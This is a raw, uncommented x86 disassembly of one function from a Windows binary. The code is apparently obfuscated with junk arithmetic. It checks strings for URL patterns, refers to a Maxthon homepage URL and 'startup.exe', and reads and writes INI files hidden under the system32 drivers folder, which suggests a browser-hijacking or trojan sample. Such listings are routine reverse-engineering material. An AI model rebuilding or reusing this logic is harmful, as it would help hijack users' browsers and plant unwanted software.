shr ecx, 0x1f
add ecx, edi
mov edi, dword [0x456828]
sub ecx, eax
mov eax, 0x606c8017
imul edx
sar edx, 0x15
mov ebx, edi
imul ebx, ebx, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xc4570565
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov dword [0x456818], ecx
imul ecx, ecx, 0x536f78
mov eax, 0x329dfa79
imul esi
add ebx, ecx
sar edx, 0x14
mov ecx, edx
mov eax, dword [ebp - 0x10d8]
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
lea ecx, [ebp - 0x10ec]
push ecx
mov dword [0x456834], ebx
mov edx, dword [eax]
push eax
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x10ec]
push edx
call fcn.00420210
mov ecx, dword [0x45682c]
mov esi, dword [str._r_____r____]
mov ebx, eax
imul esi, esi, 0x50ebd8
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub esi, eax
mov eax, 0x1eefbef3
imul edx
mov edi, dword [0x456830]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x779018
sub esi, eax
add esi, edx
sub esi, edi
sub esi, 0x45ab63
test ebx, ebx
mov dword [0x456820], esi
je 0x41cb33
mov edi, 0x44731c
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x41cb2d
mov ecx, dword [0x456824]
mov esi, dword [0x45681c]
mov eax, 0x606c8017
imul esi, esi, 0x536f78
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x456838]
mov eax, 0xbc70579
imul ecx
sar edx, 0x10
mov edi, edx
add esi, edx
mov eax, 0x61e4609d
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x15
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
sub edi, ecx
push 1
mov dword [0x456828], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d8]
mov ecx, dword [eax]
lea edx, [ebp - 0x10ec]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10ec]
push eax
call fcn.00420210
mov ebx, eax
mov ecx, dword [0x45682c]
mov edx, dword [0x45681c]
imul ecx, ecx, 0x45ab63
mov eax, 0x1eefbef3
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456824]
imul edx, edx, 0x42333a
sub edx, eax
mov eax, dword [0x456828]
imul eax, eax, 0x1c242f
push 4
sub edx, ecx
add edx, eax
push str.http
push ebx
mov dword [0x456830], edx
call fcn.0042b4f0
add esp, 0xc
test eax, eax
je 0x41cdbe
push 4
push str.HTTP
push ebx
call fcn.0042b4f0
add esp, 0xc
test eax, eax
je 0x41cdbe
push 4
push str.www.
push ebx
call fcn.0042b4f0
add esp, 0xc
test eax, eax
je 0x41cdbe
push 4
push str.WWW.
push ebx
call fcn.0042b4f0
add esp, 0xc
test eax, eax
je 0x41cdbe
push str.http:
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41cc1f
push str.HTTP:
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41cc1f
push str.www.
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41cc1f
push str.WWW.
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
je 0x41cdbe
mov ecx, dword [0x45682c]
mov eax, 0x622f07f9
imul ecx
mov esi, dword [0x456830]
sar edx, 0x15
imul esi, esi, 0x54f550
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x521ee247
imul ecx
mov ecx, dword [0x456820]
sar edx, 0x14
imul ecx, ecx, 0x53af19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
imul edx, edx, 0x45ab63
sub edi, esi
sub edi, eax
add edi, ecx
sub edi, edx
push str.http:
push ebx
mov dword [0x456838], edi
call fcn.0042a5a0
add esp, 8
test eax, eax
je 0x41cd6a
push str.http:
jmp 0x41cdb3
mov esi, dword [0x456820]
imul ecx, ecx, 0x537276
mov eax, 0x521ee247
imul esi
imul esi, esi, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x456834]
mov eax, 0x759571eb
imul ecx
add edi, esi
sar edx, 0x15
mov esi, edx
add edi, edx
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov ecx, edx
shr esi, 0x1f
shr ecx, 0x1f
add ecx, edx
add esi, edi
sub esi, ecx
push str.startup.exe
mov dword [0x456818], esi
call fcn.0040c4b0
add esp, 4
test eax, eax
jle 0x41c179
mov eax, dword [ebp - 0x10d8]
cmp eax, ebx
mov byte [ebp - 4], 5
je 0x41cd25
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10e4]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x41cd39
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x41cd4d
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x41da4a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41da4a
push str.HTTP:
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
je 0x41cd83
push str.HTTP:
jmp 0x41cdb3
push str.www.
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
je 0x41cd9c
push str.www.
jmp 0x41cdb3
push str.WWW.
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
je 0x41cdbe
push str.WWW.
push ebx
call fcn.0042a5a0
add esp, 8
mov ebx, eax
mov eax, 0x606c8017
imul dword [0x456824]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc4570565
imul dword [0x45682c]
add edx, dword [0x45682c]
mov ecx, dword [0x456830]
mov esi, dword [0x456838]
imul ecx, ecx, 0x53af19
sar edx, 0x16
imul esi, esi, 0x15bc8b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x329dfa79
imul dword [0x456824]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov edx, dword [0x447c6c]
add edi, esi
xor eax, eax
mov dword [str._r_____r____], edi
mov dword [ebp - 0x10dc], ecx
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x447c70]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x447c74]
xor eax, eax
mov dword [ebp - 0x4c0], edx
mov dx, word [0x447c78]
mov dword [ebp - 0x4b8], ecx
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45681c]
stosw word es:[edi], ax
mov eax, 0x606c8017
imul dword [0x456838]
sar edx, 0x15
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x622f07f9
imul ecx
mov ecx, dword [0x456824]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, esi
sub eax, ecx
mov ecx, dword [ebp - 0x10dc]
lea edx, [eax + ecx + 0x42333a]
mov eax, ebx
mov dword [0x45681c], edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41cee8
sub eax, esi
mov dword [ebp - 0x10dc], eax
je 0x41d02a
push str.http:__
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push str.HTTP:__
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push str.www.
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push str.WWW.
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push str..COM
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push str..com
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push str..NET
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push str..net
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push str..ORG
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push str..org
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push 0x447c24
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push 0x447c20
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push str..htm
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d015
push str..HTM
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
je 0x41d02a
push ebx
lea eax, [ebp - 0x4c4]
push str.__s_
push eax
call fcn.0042a331
add esp, 0xc
mov ecx, dword [0x456824]
mov esi, dword [0x45682c]
mov eax, 0x606c8017
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc4570565
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x329dfa79
imul ecx
mov eax, dword [0x456838]
imul eax, eax, 0x15bc8b
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
add edi, eax
mov eax, dword [0x456830]
push str.C:WINDOWS_system_sdax.txt
imul eax, eax, 0x53af19
push 0x400
lea edx, [ebp - 0x8c4]
push edx
push 0x446e1d
push str.rtgbh
add edi, eax
push str.asdf
mov dword [str._r_____r____], edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41d1e4
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d0c4
sub eax, edx
mov dword [ebp - 0x10dc], eax
je 0x41d1e4
mov edi, 0x44731c
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x41d1e4
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d16b
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41d16b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
mov edi, edi
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x41d148
test al, al
je 0x41d144
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x41d148
add esi, 2
add edi, 2
test al, al
jne 0x41d120
xor eax, eax
jmp 0x41d14d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41d16b
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.0042a5a0
add esp, 8
test eax, eax
je 0x41d17f
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.0042a5a0
add esp, 8
test eax, eax
je 0x41d1e4
mov esi, dword [str._r_____r____]
mov eax, 0x329dfa79
imul dword [0x45682c]
sar edx, 0x14
mov ecx, esi
imul ecx, ecx, 0x50ebd8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub ecx, eax
mov eax, 0x1eefbef3
imul edx
mov edi, dword [0x456830]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x779018
sub ecx, eax
add ecx, edx
sub ecx, edi
sub ecx, 0x45ab63
mov dword [0x456820], ecx
jmp 0x41d287
push 0
call fcn.0042aa2a
mov ecx, dword [0x456824]
mov esi, dword [0x45681c]
mov dword [0x56a654], eax
imul esi, esi, 0x536f78
mov eax, 0x606c8017
imul ecx
mov ecx, dword [0x456838]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xbc70579
imul ecx
mov ebx, dword [0x56a650]
sar edx, 0x10
mov edi, edx
add esi, edx
mov eax, 0x61e4609d
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x15
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x1104]
add edi, esi
add esp, 4
sub edi, eax
mov eax, dword [ebp - 0x10d8]
sub edi, ecx
push edx
inc ebx
mov dword [0x456828], edi
mov ecx, dword [eax]
push eax
mov dword [0x56a650], ebx
call dword [ecx + 0x9c]
mov esi, dword [str._r_____r____]
mov edi, dword [0x456830]
mov ecx, dword [0x456820]
mov eax, 0x521ee247
imul edi, edi, 0x537276
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, edi
mov edi, dword [0x456834]
mov eax, 0x759571eb
imul edi
add ebx, ecx
sar edx, 0x15
add ebx, edx
mov ecx, edx
mov eax, 0x224214b1
imul edi
sar edx, 0x14
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, ebx
mov ebx, dword [ebp - 0x10cc]
add eax, edx
sub ecx, eax
test ebx, ebx
mov dword [0x456818], ecx
je 0x41d82b
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10cc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41d2f5
sub eax, dword [ebp - 0x10cc]
mov dword [ebp - 0x10cc], eax
je 0x41d82b
mov eax, 0x622f07f9
imul ecx, ecx, 0x53af19
imul esi, esi, 0x54f550
imul dword [0x45682c]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
imul edx, edx, 0x779018
sub esi, eax
add ecx, edi
add ecx, esi
lea eax, [edx + ecx - 0x45ab63]
push 0xffffffffffffffff
push 0x55a230
lea ecx, [ebp - 0x1138]
mov dword [0x456824], eax
call fcn.00406630
mov eax, 0x1eefbef3
imul dword [0x45681c]
mov eax, dword [0x45682c]
sar edx, 0x13
imul eax, eax, 0x45ab63
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x456824]
imul ecx, ecx, 0x42333a
sub ecx, edx
mov edx, dword [0x456828]
imul edx, edx, 0x1c242f
sub ecx, eax
add ecx, edx
mov byte [ebp - 4], 7
mov dword [0x456830], ecx
mov edi, 0x559a28
mov esi, ebx
mov edi, edi
mov dl, byte [esi]
mov al, dl
cmp dl, byte [edi]
jne 0x41d3d4
test al, al
je 0x41d3d0
mov dl, byte [esi + 1]
mov al, dl
cmp dl, byte [edi + 1]
jne 0x41d3d4
add esi, 2
add edi, 2
test al, al
jne 0x41d3b0
xor eax, eax
jmp 0x41d3d9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41d810
mov edi, dword [0x456838]
imul ecx, ecx, 0x53af19
mov eax, 0x606c8017
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10cc], eax
mov eax, 0x622f07f9
imul dword [0x45681c]
mov eax, dword [ebp - 0x10cc]
sar edx, 0x15
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, edi
imul eax, eax, 0x15bc8b
sub esi, eax
add esi, ecx
sub esi, dword [0x456824]
add esi, 0x42333a
mov eax, ebx
mov dword [0x45681c], esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41d444
sub eax, ecx
cmp eax, 0x800
jae 0x41d46c
mov ecx, ebx
mov edx, 0x559a28
jmp 0x41d460
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41d460
jmp 0x41d4e4
mov eax, 0x606c8017
imul esi, esi, 0x536f78
imul dword [0x456824]
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xbc70579
imul edi
sub esi, ecx
sar edx, 0x10
mov ecx, edx
add esi, edx
mov eax, 0x61e4609d
imul edi
imul edi, edi, 0x45ab63
sar edx, 0x15
shr ecx, 0x1f
mov eax, edx
add ecx, esi
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
push 0x7ff
mov dword [0x456828], ecx
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x559a28
push 0x559a28
rep stosd dword es:[edi], eax
call fcn.0042b3c0
mov esi, dword [0x45681c]
add esp, 0xc
mov eax, 0x606c8017
imul esi
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x456828]
mov esi, ecx
imul esi, esi, 0x54f550
sub esi, edx
mov eax, 0xc4570565
imul ecx
add edx, ecx
mov ecx, dword [0x456818]
sar edx, 0x16
imul ecx, ecx, 0x536f78
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x456834]
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x559128
mov dword [0x456834], esi
lea esi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d550
sub eax, esi
cmp eax, 5
jbe 0x41d810
push str.ConfigL6
push ebx
call fcn.00404de0
add esp, 8
test eax, eax
jne 0x41d810
mov ecx, dword [0x45682c]
mov eax, 0x622f07f9
imul ecx
mov esi, dword [0x456830]
sar edx, 0x15
imul esi, esi, 0x54f550
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x521ee247
imul ecx
mov ecx, dword [0x456820]
sar edx, 0x14
imul ecx, ecx, 0x53af19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
imul edx, edx, 0x45ab63
sub edi, esi
sub edi, eax
add edi, ecx
sub edi, edx
push 0x132b600
mov dword [0x456838], edi
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 4
xor edi, edi
lea esp, [esp]
cmp edi, 0x64
jge 0x41d689
mov esi, dword [0x456824]
mov ecx, dword [0x45682c]
mov eax, 0x606c8017
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x329dfa79
imul esi
sar edx, 0x14
sub ebx, ecx
mov ecx, dword [0x456838]
mov eax, edx
imul ecx, ecx, 0x15bc8b
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x53af19
sub ebx, eax
add ebx, ecx
add ebx, edx
push 0x64
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x559128
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d672
sub eax, edx
mov dword [ebp - 0x10cc], eax
je 0x41d689
inc edi
jmp 0x41d5f0
mov ecx, dword [0x456838]
mov eax, 0x606c8017
imul ecx
imul ecx, ecx, 0x15bc8b
sar edx, 0x15
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [0x456824]
add eax, esi
sub eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x53af19
push str.C:WINDOWS_system32driversetc_service5.ini
add eax, ecx
push 0x800
sub eax, edx
lea edx, [ebp - 0x10c4]
push edx
push 0x446e1d
push str.ConfigL5
add eax, 0x42333a
push str.GameType1
mov dword [0x45681c], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x45682c]
mov esi, dword [str._r_____r____]
mov ebx, dword [0x456834]
imul esi, esi, 0x54f550
mov eax, 0x622f07f9
imul ecx
mov ecx, dword [0x456818]
sar edx, 0x15
imul ecx, ecx, 0x53af19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
imul edx, edx, 0x779018
sub esi, eax
add ecx, ebx
add ecx, esi
lea eax, [edx + ecx - 0x45ab63]
lea ecx, [ebp - 0x10c4]
push ecx
mov dword [0x456824], eax
call fcn.0042aa25
inc eax
push eax
lea edx, [ebp - 0x10c4]
push 0x446b00
push edx
call fcn.0042a331
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea eax, [ebp - 0x10c4]
push eax
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x456820]
mov eax, 0x329dfa79
imul ecx
mov esi, ecx
mov ecx, dword [0x456830]
imul esi, esi, 0x537276
sar edx, 0x14
imul ecx, ecx, 0x31e0ba
mov edi, edx
add esi, edx
mov edx, dword [0x456824]
shr edi, 0x1f
add edi, esi
add edi, ecx
mov ecx, dword [0x45681c]
imul edx, edx, 0x45ab63
mov esi, dword [0x559120]
add edi, edx
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
inc esi
push 0
mov dword [0x45682c], edi
mov dword [0x559120], esi
call fcn.0042aa2a
add esp, 4
mov dword [0x559124], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.004066b0
mov ecx, dword [0x456818]
mov edi, dword [0x456834]
mov edx, dword [0x45681c]
imul ecx, ecx, 0x536f78
mov esi, dword [0x456828]
mov eax, 0x606c8017
imul edx
sar edx, 0x15
mov ebx, esi
imul ebx, ebx, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xc4570565
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x329dfa79
imul edi
add ebx, ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10c8]
push ecx
sub ebx, ecx
mov eax, esp
mov dword [0x456834], ebx
mov dword [eax], edx
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [ebp - 0x10cc], esp
je 0x41d8a9
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov ecx, 0x56a378
call fcn.00407430
mov ecx, dword [0x456820]
mov esi, dword [0x456830]
mov eax, 0x521ee247
imul esi, esi, 0x537276
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [0x456834]
mov eax, 0x759571eb
imul ecx
sar edx, 0x15
mov esi, edx
add edi, edx
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov ecx, edx
shr esi, 0x1f
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10c8]
add esi, edi
sub esi, ecx
push 0
push edx
mov dword [0x456818], esi
call fcn.004091e0
mov ecx, dword [0x45682c]
mov esi, dword [str._r_____r____]
mov eax, 0x329dfa79
imul esi, esi, 0x50ebd8
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub esi, eax
mov eax, 0x1eefbef3
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x779018
sub esi, eax
add esi, edx
sub esi, dword [0x456830]
add esp, 8
sub esi, 0x45ab63
mov dword [0x456820], esi
jmp 0x41d98b
mov ecx, dword [0x45682c]
mov ebx, dword [0x45681c]
mov esi, dword [0x456838]
imul ebx, ebx, 0x536f78
mov eax, 0x606c8017
imul dword [0x456824]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbc70579
imul esi
sar edx, 0x10
add ebx, edx
mov edi, edx
mov eax, 0x61e4609d
imul esi
imul esi, esi, 0x45ab63
sar edx, 0x15
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, ebx
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10d8]
sub edi, esi
test eax, eax
mov dword [0x456828], edi
mov byte [ebp - 4], 5
je 0x41da02
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45682c]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41da1c
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45682c]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x41da36
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45682c]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41da50
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45682c]
mov eax, dword [ebp - 0x10f8]
mov edi, dword [0x456830]
inc eax
mov dword [ebp - 0x10f8], eax
mov esi, eax
jmp 0x41baa0
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 0
je 0x41da84
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45682c]
mov eax, 0x1eefbef3
imul ecx, ecx, 0x45ab63
imul dword [0x45681c]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, dword [0x456824]
imul eax, eax, 0x42333a
sub eax, edx
sub eax, ecx
mov ecx, dword [0x456828]
imul ecx, ecx, 0x1c242f
add eax, ecx
mov dword [0x456830], eax
mov eax, dword [ebp - 0x10f0]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042a161
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret